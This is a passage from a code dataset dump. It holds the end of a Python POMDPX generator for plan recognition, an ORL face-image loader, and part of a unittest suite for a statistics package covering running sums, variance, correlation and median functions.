self.initialState == \"Unknown\":\n\t\t\tout = out + self.toPOMDPxTBLEntry([], [\"uniform\"])\n\t\telse:\n\t\t\ttable = []\n\t\t\tadd = False\n\t\t\tfor i in listAllAction:\n\t\t\t\tfor j in self.initialState:\n\t\t\t\t\tif i == j[0]:\n\t\t\t\t\t\ttable.append(j[1])\n\t\t\t\t\t\tadd = True\n\t\t\t\t\t\tbreak\n\t\t\t\tif not add:\n\t\t\t\t\ttable.append(\"0.0\")\n\t\t\t\tadd = False\n\t\t\tout = out + self.toPOMDPxTBLEntry([], table)\n\n\t\tout = out + self.toPOMDPxTBLQueu()\n\n\t\tout = out + self.toPOMDPxTBLHead(\"startGoal\", [\"null\"])\n\t\tout = out + self.toPOMDPxTBLEntry([], [\"uniform\"])\n\t\tout = out + self.toPOMDPxTBLQueu()\n\n\t\tout = out + self.toPOMDPxTBLHead(\"startEsGoal\", [\"null\"])\n\t\ttable = [\"1.0\"]\n\t\tfor i in self.listGoal:\n\t\t\ttable.append(\"0.0\")\n\t\tout = out + self.toPOMDPxTBLEntry([], table)\n\t\tout = out + self.toPOMDPxTBLQueu()\n\n\t\tout = out + \" \\n\"\n\t\treturn out\n\n\tdef toPOMDPxTransition(self):\n\t\tout = \"\"\n\t\tout = out + \" \\n\"\n\t\tout = out + self.toPOMDPxTBLHead(\"nextAction\", [\"startAction\", \"startGoal\", \"startEsGoal\"])\n\n\t\tlistAllnextAction = []\n\t\tfor i in self.listGoal:\n\t\t\tfor j in i.listAction:\n\t\t\t\tlistAllnextAction.append(j)\n\t\tlistAllnextAction = list(set(listAllnextAction))\n\t\tsize = len(listAllnextAction)\n\n\t\tlistAllEsGoal = [\"Unknown\"]\n\t\tlistAllGoal = []\n\t\tlistMatrixAdj = []\n\t\tfor i in self.listGoal:\n\t\t\tlistAllEsGoal.append(i.name)\n\t\t\tlistAllGoal.append(i.name)\n\t\t\tlistMatrixAdj.append(numpy.zeros((size, size)))\n\t\t\tfor laaLine in range(0,len(listAllnextAction)):\n\t\t\t\tfor laLine in range(0,len(i.listAction)):\n\t\t\t\t\tif listAllnextAction[laaLine] == i.listAction[laLine]:\t\t\t\t\n\t\t\t\t\t\tfor laaCol in range(0,len(listAllnextAction)):\n\t\t\t\t\t\t\tfor laCol in range(0,len(i.listAction)):\n\t\t\t\t\t\t\t\tif listAllnextAction[laaCol] == i.listAction[laCol]:\n\t\t\t\t\t\t\t\t\tlistMatrixAdj[-1][laaLine,laaCol] = i.matrixAdj[laLine,laCol]\n\t\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\tbreak\n\t\t\t\tif numpy.sum(listMatrixAdj[-1][laaLine]) == 0:\n\t\t\t\t\tfor laaCol in range(0,len(listAllnextAction)):\n\t\t\t\t\t\tif listAllnextAction[laaCol] == \"Finish\":\n\t\t\t\t\t\t\tlistMatrixAdj[-1][laaLine,laaCol] = 1\n\t\t\t\t\t\t\tbreak\n\n\t\tlistAllAction = [\"Obs\", \"None\"]\n\t\tfor i in self.listGoal:\n\t\t\tlistAllAction.append(\"cg_\" + i.name)\n\n\t\tindexGoal = 0\n\t\tfor lg in listAllGoal:\n\t\t\tfor leg in listAllEsGoal:\n\t\t\t\ttable = []\n\t\t\t\tindexNextAction = 0\n\t\t\t\tfor ln in listAllnextAction:\n\t\t\t\t\ttable = listMatrixAdj[indexGoal][indexNextAction]\n\t\t\t\t\tout = out + self.toPOMDPxTBLEntry([ln, lg, leg], table)\n\t\t\t\t\tindexNextAction = indexNextAction +1\n\t\t\tindexGoal = indexGoal +1\n\n\t\tout = out + self.toPOMDPxTBLQueu()\n\n\t\tout = out + self.toPOMDPxTBLHead(\"nextEsGoal\", [\"Action\", \"startEsGoal\"])\n\t\tfor i in listAllAction:\n\t\t\tfor j in listAllEsGoal:\n\t\t\t\ttable = []\n\t\t\t\tfor k in listAllEsGoal:\n\t\t\t\t\tif i == \"Obs\":\n\t\t\t\t\t\tif j == k:\n\t\t\t\t\t\t\ttable.append(\"1.0\")\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\ttable.append(\"0.0\")\n\t\t\t\t\telif i == \"None\":\n\t\t\t\t\t\tif j == k:\n\t\t\t\t\t\t\ttable.append(\"1.0\")\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\ttable.append(\"0.0\")\n\t\t\t\t\telse:\n\t\t\t\t\t\tif i[3:] == k:\n\t\t\t\t\t\t\ttable.append(\"1.0\")\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\ttable.append(\"0.0\")\n\t\t\t\t\t\n\t\t\t\tout = out + self.toPOMDPxTBLEntry([i, j], table)\n\n\t\tout = out + self.toPOMDPxTBLQueu()\n\n\t\tout = out + self.toPOMDPxTBLHead(\"nextGoal\", [\"startGoal\"])\n\t\tfor i in listAllGoal:\n\t\t\ttable = []\n\t\t\tfor j in listAllGoal:\n\t\t\t\tif i == j:\n\t\t\t\t\ttable.append(\"1.0\")\n\t\t\t\telse:\n\t\t\t\t\ttable.append(\"0.0\")\n\n\t\t\tout = out + self.toPOMDPxTBLEntry([i], table)\n\t\tout = out + self.toPOMDPxTBLQueu()\n\n\t\tout = out + \" \\n\"\n\t\treturn out\n\n\tdef toPOMDPxObservation(self):\n\t\tout = \"\"\n\t\tout = out + \"\"\n\t\tout = out + self.toPOMDPxTBLHead(\"ObsState\", [\"Action\", \"nextAction\"])\n\n\t\tlistAllGoal = []\n\t\tfor i in self.listGoal:\n\t\t\tlistAllGoal.append(i.name)\n\t\tlistAllAction = [\"Obs\", \"None\"]\n\t\tfor i in listAllGoal:\n\t\t\tlistAllAction.append(\"cg_\" + i)\n\n\t\tlistAllnextAction = []\n\t\tfor i in self.listGoal:\n\t\t\tfor j in i.listAction:\n\t\t\t\tlistAllnextAction.append(j)\n\t\tlistAllnextAction= list(set(listAllnextAction))\n\n\t\tfor la in listAllAction:\n\t\t\tindexNextAction = 0\n\t\t\tfor ln in listAllnextAction:\n\t\t\t\ttable = self.observation.matrixConf[indexNextAction]\n\t\t\t\tout = out + self.toPOMDPxTBLEntry([la,ln],numpy.append(table, \"0.0\"))\n\t\t\t\tindexNextAction = indexNextAction + 1\n\t\tout = out + self.toPOMDPxTBLQueu()\n\t\tout = out + \" \\n\"\n\t\treturn out\n\n\tdef toPOMDPxReward(self):\n\t\tout = \"\"\n\t\tout = out + \" \\n\"\n\t\tout = out + \" \\n\"\n\t\tout = out + \"reward \\n\"\n\t\tout = out + \" Action startGoal startEsGoal \\n\"\n\t\tout = out + \" \\n\"\n\n\t\tlistAllGoal = []\n\t\tlistAllEsGoal = [\"Unknown\"]\n\t\tlistAllAction = [\"Obs\", \"None\"]\n\t\tfor i in self.listGoal:\n\t\t\tlistAllGoal.append(i.name)\n\t\t\tlistAllEsGoal.append(i.name)\n\t\t\tlistAllAction.append(\"cg_\" + i.name)\n\n\t\treward = 0\n\t\tfor aa in listAllAction:\n\t\t\tfor ag in listAllGoal:\n\t\t\t\tfor ae in listAllEsGoal:\n\t\t\t\t\tif aa == \"Obs\":\n\t\t\t\t\t\treward = reward - 1\n\t\t\t\t\tif not ag == ae:\n\t\t\t\t\t\treward = reward - 10 \n\t\t\t\t\tif ag == ae:\n\t\t\t\t\t\treward = reward + 10\n\t\t\t\t\tout = out + self.toPOMDPxTBLEntryReward([aa, ag, ae], reward)\n\t\t\t\t\treward = 0\n\n\n\t\tout = out + \" \\n\"\n\t\tout = out + \" \\n\"\n\t\tout = out + \" \\n\" \n\t\treturn out\n\n\tdef toPOMDPxTBLHead(self, var, parents):\n\t\tout = \"\"\n\t\tout = out + \" \\n\"\n\t\tout = out + \"\" + var + \" \\n\"\n\t\tout = out + \" \"\n\t\tfor i in parents:\n\t\t\tout = out + i + ' '\n\t\tout = out + \" \\n\"\n\t\tout = out + \" \\n\"\n\t\treturn out\n\n\tdef toPOMDPxTBLQueu(self):\n\t\tout = \"\"\n\t\tout = out + \" \\n\"\n\t\tout = out + \" \\n\"\n\t\treturn out\n\n\tdef toPOMDPxTBLEntry(self, instance, table):\n\t\tout = \"\"\n\t\tout = out + \" \\n\"\n\t\tout = out + \" \"\n\t\tfor i in instance:\n\t\t\tout = out + i + ' '\n\t\tout = out + \" - \\n\"\n\t\tout = out + \"\"\n\t\tfor i in table:\n\t\t\tout = out + str(i) + ' '\n\t\tout = out + \" \\n\"\t\t\t\n\t\tout = out + \" \\n\"\n\t\treturn out\n\n\tdef toPOMDPxTBLEntryReward(self, instance, table):\n\t\tout = \"\"\n\t\tout = out + \" \\n\"\n\t\tout = out + \" \"\n\t\tfor i in instance:\n\t\t\tout = out + i + ' '\n\t\tout = out + \" \\n\"\n\t\tout = out + \"\"\n\t\tout = out + str(table)\n\t\tout = out + \" \\n\"\t\t\t\n\t\tout = out + \" \\n\"\n\t\treturn out\n","sub_path":"PlanRecoByPolicy/PolicyGenerator/Domain.py","file_name":"Domain.py","file_ext":"py","file_size_in_byte":12205,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"511764784","text":"import numpy as np\nimport matplotlib.pylab as plt\n\nclass Image(object):\n\n def __init__(self, row, col):\n self.imgTraining = np.zeros((row, col, 280))\n self.imgTest = np.zeros((row,col, 120))\n\n countTraining = 0\n countTest = 0\n for person in range(1,41):\n for photo in range(1,11):\n if photo < 8:\n self.imgTraining[:,:,countTraining] = plt.imread(\"orl_faces/s\"+str(person)+\"/\"+str(photo)+\".pgm\")\n countTraining = countTraining + 1\n else: \n self.imgTest[:,:,countTest] = plt.imread(\"orl_faces/s\"+str(person)+\"/\"+str(photo)+\".pgm\")\n countTest = countTest + 1\n\n def getImgs(self):\n return self.imgTraining, self.imgTest\n","sub_path":"src/Image.py","file_name":"Image.py","file_ext":"py","file_size_in_byte":800,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"458697033","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n## Copyright (c) 2011 Steven D'Aprano.\n## See the file stats/__init__.py for the licence terms for this software.\n\n\"\"\"Test suite for the rest of the stats package.\"\"\"\n\n# Implementation note: many test results have been calculated using a\n# HP-48GX calculator. Any reference to \"RPL\" refers to programs written\n# on the HP-48GX.\n\n\nimport collections\nimport inspect\nimport itertools\nimport math\nimport random\nimport unittest\n\nimport stats\nimport test_stats\n\n# Modules to test:\nimport stats.co\nimport stats.multivar\nimport stats.order\nimport stats.univar\n\n\n\n# === Mixin classes ===\n\nclass DoubleDataFailMixin:\n # Override tests that are based on data with 1 or 2 items.\n def testSingleData(self):\n self.assertRaises(ValueError, self.func, [23])\n def testDoubleData(self):\n self.assertRaises(ValueError, self.func, [23, 42])\n\n testSingleton = testSingleData\n\n\n# === Unit tests ===\n\n# -- co module --------------------------------------------------------\n\nclass CoGlobalsTest(test_stats.GlobalsTest):\n module = stats.co\n\n\nclass CoFeedTest(unittest.TestCase, test_stats.TestConsumerMixin):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n # Define a coroutine.\n def counter():\n # Coroutine that counts items sent in.\n c = 0\n _ = (yield None)\n while True:\n c += 1\n _ = (yield c)\n\n self.func = counter\n\n def testIsGenerator(self):\n # A bare coroutine without the @coroutine decorator will be seen\n # as a generator, due to the presence of `yield`.\n self.assertTrue(inspect.isgeneratorfunction(self.func))\n\n def testCoroutine(self):\n # Test the coroutine behaves as expected.\n cr = self.func()\n # Initialise the coroutine.\n _ = cr.send(None)\n self.assertEqual(cr.send(\"spam\"), 1)\n self.assertEqual(cr.send(\"ham\"), 2)\n self.assertEqual(cr.send(\"eggs\"), 3)\n self.assertEqual(cr.send(\"spam\"), 4)\n\n def testFeed(self):\n # Test the feed() helper behaves as expected.\n cr = self.func()\n _ = cr.send(None)\n it = stats.co.feed(cr, \"spam spam spam eggs bacon and spam\".split())\n self.assertEqual(next(it), 1)\n self.assertEqual(next(it), 2)\n self.assertEqual(next(it), 3)\n self.assertEqual(next(it), 4)\n self.assertEqual(next(it), 5)\n self.assertEqual(next(it), 6)\n self.assertEqual(next(it), 7)\n self.assertRaises(StopIteration, next, it)\n self.assertRaises(StopIteration, next, it)\n\n\nclass CoSumTest(unittest.TestCase, test_stats.TestConsumerMixin):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.co.sum\n\n def testAlias(self):\n # stats.co.sum is documented as an alias (otherwise we would have\n # to modify the docstring to hide the fact, and that's a PITA). So\n # test for it here.\n self.assertTrue(self.func is stats.running_sum)\n\n def testSum(self):\n cr = self.func()\n self.assertEqual(cr.send(3), 3)\n self.assertEqual(cr.send(5), 8)\n self.assertEqual(cr.send(0), 8)\n self.assertEqual(cr.send(-2), 6)\n self.assertEqual(cr.send(0.5), 6.5)\n self.assertEqual(cr.send(2.75), 9.25)\n\n def testSumStart(self):\n cr = self.func(12)\n self.assertEqual(cr.send(3), 15)\n self.assertEqual(cr.send(5), 20)\n self.assertEqual(cr.send(0), 20)\n self.assertEqual(cr.send(-2), 18)\n self.assertEqual(cr.send(0.5), 18.5)\n self.assertEqual(cr.send(2.75), 21.25)\n\n def testSumTortureTest(self):\n cr = self.func()\n for i in range(100):\n self.assertEqual(cr.send(1), 2*i+1)\n self.assertEqual(cr.send(1e100), 1e100)\n self.assertEqual(cr.send(1), 1e100)\n self.assertEqual(cr.send(-1e100), 2*i+2)\n\n\nclass CoMeanTest(unittest.TestCase, test_stats.TestConsumerMixin):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.co.mean\n\n def testMean(self):\n cr = self.func()\n self.assertEqual(cr.send(7), 7.0)\n self.assertEqual(cr.send(3), 5.0)\n self.assertEqual(cr.send(5), 5.0)\n self.assertEqual(cr.send(-5), 2.5)\n self.assertEqual(cr.send(0), 2.0)\n self.assertEqual(cr.send(9.5), 3.25)\n\n\nclass CoEWMATest(unittest.TestCase, test_stats.TestConsumerMixin):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.co.ewma\n\n def testAverages(self):\n # Test the calculated averages.\n cr = self.func()\n self.assertEqual(cr.send(64), 64.0)\n self.assertEqual(cr.send(32), 48.0)\n self.assertEqual(cr.send(16), 32.0)\n self.assertEqual(cr.send(8), 20.0)\n self.assertEqual(cr.send(4), 12.0)\n self.assertEqual(cr.send(2), 7.0)\n self.assertEqual(cr.send(1), 4.0)\n\n def testAveragesAlpha(self):\n # Test the calculated averages with a specified alpha.\n cr = self.func(0.75)\n self.assertEqual(cr.send(64), 64.0)\n self.assertEqual(cr.send(32), 40.0)\n self.assertEqual(cr.send(58), 53.5)\n self.assertEqual(cr.send(48), 49.375)\n\n def testBadAlpha(self):\n # Test behaviour with an invalid alpha.\n for a in (None, 'spam', [1], (2,3), {}):\n self.assertRaises(stats.StatsError, self.func, a)\n\n\nclass CoWelfordTest(unittest.TestCase, test_stats.TestConsumerMixin):\n # Test private _welford function.\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.co._welford\n\n def test_welford(self):\n cr = self.func()\n # Expected results calculated by hand, then confirmed using this\n # RPL program: « Σ+ PVAR NΣ * »\n self.assertEqual(cr.send(2), (1, 0.0))\n self.assertEqual(cr.send(3), (2, 0.5))\n self.assertEqual(cr.send(4), (3, 2.0))\n self.assertEqual(cr.send(5), (4, 5.0))\n self.assertEqual(cr.send(6), (5, 10.0))\n cr = self.func()\n # Here I got lazy, and didn't bother with the hand calculations :)\n self.assertEqual(cr.send(3), (1, 0.0))\n self.assertEqual(cr.send(5), (2, 2.0))\n self.assertEqual(cr.send(4), (3, 2.0))\n self.assertEqual(cr.send(3), (4, 2.75))\n self.assertEqual(cr.send(5), (5, 4.0))\n self.assertEqual(cr.send(4), (6, 4.0))\n t = cr.send(-2)\n t = (t[0], round(t[1], 10))\n self.assertEqual(t, (7, 34.8571428571))\n\n\nclass CoPVarTest(test_stats.NumericTestCase, test_stats.TestConsumerMixin):\n # Test coroutine population variance.\n tol = 2e-7\n rel = 2e-7\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.co.pvariance\n self.data = [2, 3, 5, 1, 3.5]\n self.expected = [0.0, 0.25, 14/9, 2.1875, 1.84]\n\n def testMain(self):\n cr = self.func()\n for x, expected in zip(self.data, self.expected):\n self.assertApproxEqual(cr.send(x), expected, tol=3e-16, rel=None)\n\n def testShift(self):\n cr1 = self.func()\n data1 = [random.gauss(3.5, 2.5) for _ in range(50)]\n expected = list(stats.co.feed(cr1, data1))\n cr2 = self.func()\n data2 = [x + 1e9 for x in data1]\n result = list(stats.co.feed(cr2, data2))\n self._compare_lists(result, expected)\n\n def _compare_lists(self, actual, expected):\n assert len(actual) == len(expected)\n for a,e in zip(actual, expected):\n if math.isnan(a) and math.isnan(e):\n self.assertTrue(True)\n else:\n self.assertApproxEqual(a, e)\n\n\nclass CoPstdevTest(CoPVarTest):\n # Test coroutine population std dev.\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.co.pstdev\n self.expected = [math.sqrt(x) for x in self.expected]\n\n\nclass CoVarTest(CoPVarTest):\n # Test coroutine sample variance.\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.co.variance\n n = len(self.data)\n self.first = self.data[0]\n del self.data[0]\n self.expected = [x*i/(i-1) for i,x in enumerate(self.expected[1:], 2)]\n\n def testMain(self):\n cr = self.func()\n x = cr.send(self.first)\n self.assertTrue(math.isnan(x), 'expected nan but got %r' % x)\n for x, expected in zip(self.data, self.expected):\n self.assertApproxEqual(cr.send(x), expected)\n\n\nclass CoStdevTest(CoVarTest):\n # Test coroutine sample std dev.\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.co.stdev\n self.expected = [math.sqrt(x) for x in self.expected]\n\n\nclass CoCorrTest(test_stats.NumericTestCase):\n tol = 1e-14\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.co.corr\n\n def make_data(self, n):\n \"\"\"Return n pairs of data.\"\"\"\n def rand():\n return random.uniform(-0.5, 0.5)\n def f(x):\n return (2.3+rand())*x - (0.3+rand())\n domain = range(-17, -17+3*n, 3)\n assert len(domain) == n\n data = [(x, f(x)) for x in domain]\n random.shuffle(data)\n return data\n\n def get_final_result(self, values):\n cr = self.func()\n for xy in values:\n result = cr.send(xy)\n return result\n\n def testOrder(self):\n # The order that data is presented shouldn't matter to the\n # final result (although intermediate results may differ).\n xydata = self.make_data(100)\n a = self.get_final_result(xydata)\n random.shuffle(xydata)\n b = self.get_final_result(xydata)\n self.assertApproxEqual(a, b, tol=1e-14)\n\n def testFirstNan(self):\n # Test that the first result is always a NAN.\n for x in (-11.5, -2, 0, 0.25, 17, 45.95, 1e120):\n for y in (-8.5, -2, 0, 0.5, 31.35, 1e99):\n cr = self.func()\n self.assertTrue(math.isnan(cr.send((x,y))))\n\n def testPerfectCorrelation(self):\n xydata = [(x, 2.3*x - 0.8) for x in range(-17, 291, 3)]\n random.shuffle(xydata)\n cr = self.func()\n # Skip the equality test on the first value.\n xydata = iter(xydata)\n cr.send(next(xydata))\n for xy in xydata:\n self.assertApproxEqual(cr.send(xy), 1.0, tol=1e-15)\n\n def testPerfectAntiCorrelation(self):\n xydata = [(x, 273.4 - 3.1*x) for x in range(-22, 654, 7)]\n random.shuffle(xydata)\n cr = self.func()\n # Skip the equality test on the first value.\n xydata = iter(xydata)\n cr.send(next(xydata))\n for xy in xydata:\n self.assertApproxEqual(cr.send(xy), -1.0, tol=1e-15)\n\n def testPerfectZeroCorrelation(self):\n data = [(x, y) for x in range(1, 10) for y in range(1, 10)]\n result = self.get_final_result(data)\n self.assertApproxEqual(result, 0.0, tol=1e-15)\n\n def testExact(self):\n xdata = [0, 10, 4, 8, 8]\n ydata = [2, 6, 2, 4, 6]\n result = self.get_final_result(zip(xdata, ydata))\n self.assertEqual(result, 28/32)\n\n def testDuplicate(self):\n # corr shouldn't change if you duplicate each point.\n # Try first with a high correlation.\n xdata = [random.uniform(-5, 15) for _ in range(15)]\n ydata = [x - 0.5 + random.random() for x in xdata]\n xydata = list(zip(xdata, ydata))\n a = self.get_final_result(xydata)\n b = self.get_final_result(xydata*2)\n self.assertApproxEqual(a, b)\n # And again with a (probably) low correlation.\n ydata = [random.uniform(-5, 15) for _ in range(15)]\n xydata = list(zip(xdata, ydata))\n a = self.get_final_result(xydata)\n b = self.get_final_result(xydata*2)\n self.assertApproxEqual(a, b)\n\n def testSameCoords(self):\n # Test correlation with (X,X) coordinate pairs.\n data = [random.uniform(-3, 5) for x in range(5)] # Small list.\n result = self.get_final_result([(x, x) for x in data])\n self.assertApproxEqual(result, 1.0)\n data = [random.uniform(-30, 50) for x in range(100)] # Medium.\n result = self.get_final_result([(x, x) for x in data])\n self.assertApproxEqual(result, 1.0)\n data = [random.uniform(-3000, 5000) for x in range(100000)] # Large.\n result = self.get_final_result([(x, x) for x in data])\n self.assertApproxEqual(result, 1.0)\n\n def generate_stress_data(self, start, end, step):\n \"\"\"Generate a wide range of X and Y data for stress-testing.\"\"\"\n xfuncs = (lambda x: x,\n lambda x: 12345*x + 9876,\n lambda x: 1e9*x,\n lambda x: 1e-9*x,\n lambda x: 1e-7*x + 3,\n lambda x: 846*x - 423,\n )\n yfuncs = (lambda y: y,\n lambda y: 67890*y + 6428,\n lambda y: 1e9*y,\n lambda y: 1e-9*y,\n lambda y: 2342*y - 1171,\n )\n for i in range(start, end, step):\n xdata = [random.random() for _ in range(i)]\n ydata = [random.random() for _ in range(i)]\n for fx, fy in [(fx,fy) for fx in xfuncs for fy in yfuncs]:\n xs = [fx(x) for x in xdata]\n ys = [fy(y) for y in ydata]\n yield (xs, ys)\n\n def testStress(self):\n # Stress the corr() function looking for failures of the\n # post-condition -1 <= r <= 1.\n for xdata, ydata in self.generate_stress_data(5, 351, 23):\n cr = self.func()\n xydata = zip(xdata, ydata)\n # Skip the first value, as it is a NAN.\n cr.send(next(xydata))\n for xy in xydata:\n self.assertTrue(-1.0 <= cr.send(xy) <= 1.0)\n\n def testShift(self):\n # Shifting the data by a constant amount shouldn't change the\n # correlation. In practice, it may introduce some error. We allow\n # for that by increasing the tolerance as the shift gets bigger.\n xydata = self.make_data(100)\n a = self.get_final_result(xydata)\n offsets = [(42, -99), (1.2e6, 4.5e5), (7.8e9, 3.6e9)]\n tolerances = [self.tol, 5e-10, 1e-6]\n for (x0,y0), tol in zip(offsets, tolerances):\n data = [(x+x0, y+y0) for x,y in xydata]\n b = self.get_final_result(data)\n self.assertApproxEqual(a, b, tol=tol)\n\n\nclass CoCalcRTest(unittest.TestCase):\n # Test the _calc_r private function.\n\n def testNan(self):\n # _calc_r should return a NAN if either of the X or Y args are zero.\n result = stats.co._calc_r(0, 1, 2)\n self.assertTrue(math.isnan(result))\n result = stats.co._calc_r(1, 0, 2)\n self.assertTrue(math.isnan(result))\n\n def testAssertionFails(self):\n # _calc_r should include an assertion. Engineer a failure of it.\n if __debug__:\n self.assertRaises(AssertionError, stats.co._calc_r, 10, 10, 11)\n self.assertRaises(AssertionError, stats.co._calc_r, 10, 10, -11)\n\n def testMain(self):\n self.assertEqual(stats.co._calc_r(25, 36, 15), 0.5)\n\n\n\n# -- multivar module --------------------------------------------------\n\nclass MultivarGlobalsTest(test_stats.GlobalsTest):\n module = stats.multivar\n\n\n# -- order module -----------------------------------------------------\n\nclass OrderGlobalsTest(test_stats.GlobalsTest):\n module = stats.order\n\n\nclass OrderMinmaxTest(unittest.TestCase):\n def testAlias(self):\n # stats.order.minmax is documented as an alias (otherwise we would\n # have to modify the docstring to hide the fact, and that's a PITA).\n # So test for it here.\n self.assertTrue(stats.order.minmax is stats.minmax)\n\n\nclass OrderRoundHalfEvenTest(unittest.TestCase):\n # Test the _round_halfeven private function.\n\n def test_round(self):\n round_halfeven = stats.order._round_halfeven\n for i in range(10):\n self.assertEqual(round_halfeven(i), i)\n self.assertEqual(round_halfeven(i + 0.001), i)\n self.assertEqual(round_halfeven(i + 0.499), i)\n self.assertEqual(round_halfeven(i + 0.501), i+1)\n self.assertEqual(round_halfeven(i + 0.999), i+1)\n for i in range(0, 20, 2):\n self.assertEqual(round_halfeven(i + 0.5), i)\n for i in range(1, 20, 2):\n self.assertEqual(round_halfeven(i + 0.5), i+1)\n\n\nclass OrderMedianTest(test_stats.NumericTestCase, test_stats.UnivariateMixin):\n # Test median function with the default scheme.\n\n tol = rel = None # Default to expect exact equality.\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.order.median\n self.data = [1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9]\n self.expected = 5.5\n\n def setUp(self):\n random.shuffle(self.data)\n\n def testCalculationOdd(self):\n assert len(self.data)%2 == 1\n self.assertEqual(self.func(self.data), self.expected)\n\n def testCalculationEven(self):\n data = [0.0] + self.data\n assert len(data)%2 == 0\n self.assertEqual(self.func(data), 4.95)\n\n def testBigData(self):\n data = [x + 1e9 for x in self.data]\n expected = self.expected + 1e9\n assert expected != 1e9 # Avoid catastrophic loss of precision.\n self.assertEqual(self.func(data), expected)\n\n def testSingleton(self):\n for x in [-1.1, 0.0, 1.1, 2.2, 3.3]:\n self.assertEqual(self.func([x]), x)\n\n def testDoubling(self):\n # Median of [a,b,c...z] should be same as for [a,a,b,b,c,c...z,z].\n # First try with even number of data points.\n data = [random.random() for _ in range(100)]\n assert len(data)%2 == 0\n a = self.func(data)\n b = self.func(data*2)\n self.assertEqual(a, b)\n # Now with odd number.\n data.append(random.random())\n assert len(data)%2 == 1\n a = self.func(data)\n b = self.func(data*2)\n self.assertEqual(a, b)\n\n\nclass OrderMedianExtrasOddNoDups(unittest.TestCase):\n # Extra tests for median involving the schemes.\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.median = stats.order.median\n self.schemes = (1, 2, 3, 4)\n self.data = [11, 12, 13, 14, 15]\n self.expected = dict((scheme, 13) for scheme in self.schemes)\n\n def _validate(self):\n assert len(self.data)%2 == 1\n assert all(self.data.count(x) == 1 for x in self.data)\n\n def setUp(self):\n self._validate()\n random.shuffle(self.data)\n\n def testMedianExtras(self):\n for scheme in self.schemes:\n actual = self.median(self.data, scheme)\n self.assertEqual(actual, self.expected[scheme])\n\n\nclass OrderMedianExtrasOddDups(OrderMedianExtrasOddNoDups):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.data = [11, 12, 13, 13, 14]\n\n def _validate(self):\n assert len(self.data)%2 == 1\n\n\nclass OrderMedianExtrasEvenNoDups(OrderMedianExtrasOddNoDups):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.data = [11, 12, 13, 14, 15, 16]\n self.expected = {1: 13.5, 2: 13, 3: 14, 4: 13.5}\n\n def _validate(self):\n assert len(self.data)%2 == 0\n assert all(self.data.count(x) == 1 for x in self.data)\n\n\nclass OrderMedianExtrasEvenDups1(OrderMedianExtrasOddNoDups):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.data = [11, 12, 13, 13, 14, 14]\n self.expected = dict((scheme, 13) for scheme in self.schemes)\n\n def _validate(self):\n assert len(self.data)%2 == 0\n\n\nclass OrderMedianExtrasEvenDups2(OrderMedianExtrasEvenDups1):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.data = [11, 12, 12, 13, 13, 13]\n self.expected = {1: 12.5, 2: 12, 3: 13, 4: 12.6}\n\n\nclass OrderMidrangeTest(OrderMedianTest):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.order.midrange\n\n def testMidrange(self):\n self.assertEqual(self.func([1.0, 2.5]), 1.75)\n self.assertEqual(self.func([1.0, 2.0, 4.0]), 2.5)\n self.assertEqual(self.func([2.0, 4.0, 1.0]), 2.5)\n self.assertEqual(self.func([1.0, 2.5, 3.5, 5.5]), 3.25)\n self.assertEqual(self.func([1.0, 2.5, 3.5, 5.5, 1.5]), 3.25)\n\n\nclass OrderMidhingeTest(DoubleDataFailMixin, OrderMedianTest):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.order.midhinge\n\n def testMidhinge(self):\n # True hinges occur for n = 4N+5 items, which is 1 modulo 4.\n # We test midhinge on four test data sets, for 1, 2, 3, 0 modulo 4.\n a = [0.1, 0.4, 1.1, 1.4, 2.1, 2.4, 3.1, 3.4, 4.1, 4.4, 5.1, 5.4, 6.1]\n assert len(a) == 4*2 + 5\n b = a + [6.4]\n c = b + [7.1]\n d = c + [7.4]\n for L in (a, b, c, d):\n random.shuffle(L)\n # self.assertApproxEqual(self.func(a), 2.9, tol=1e-10, rel=None)\n self.assertEqual(self.func(a), (1.4+4.4)/2) # 2.9 + rounding error.\n self.assertEqual(self.func(b), 3.25)\n self.assertEqual(self.func(c), 3.5)\n self.assertEqual(self.func(d), 3.75)\n\n\nclass OrderTrimeanTest(\n DoubleDataFailMixin,\n test_stats.NumericTestCase,\n test_stats.UnivariateMixin\n ):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.order.trimean\n\n def generic_sequence_test(self, data, n, expected):\n assert len(data)%4 == n\n random.shuffle(data)\n result = self.func(data)\n self.assertEqual(result, expected)\n data = [x + 1e9 for x in data]\n result = self.func(data)\n self.assertEqual(result, expected+1e9)\n\n def testSeq0(self):\n data = [1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8]\n expected = ((2.2+3.3)/2 + 4.4 + 5.5 + (6.6+7.7)/2)/4\n self.generic_sequence_test(data, 0, expected)\n\n 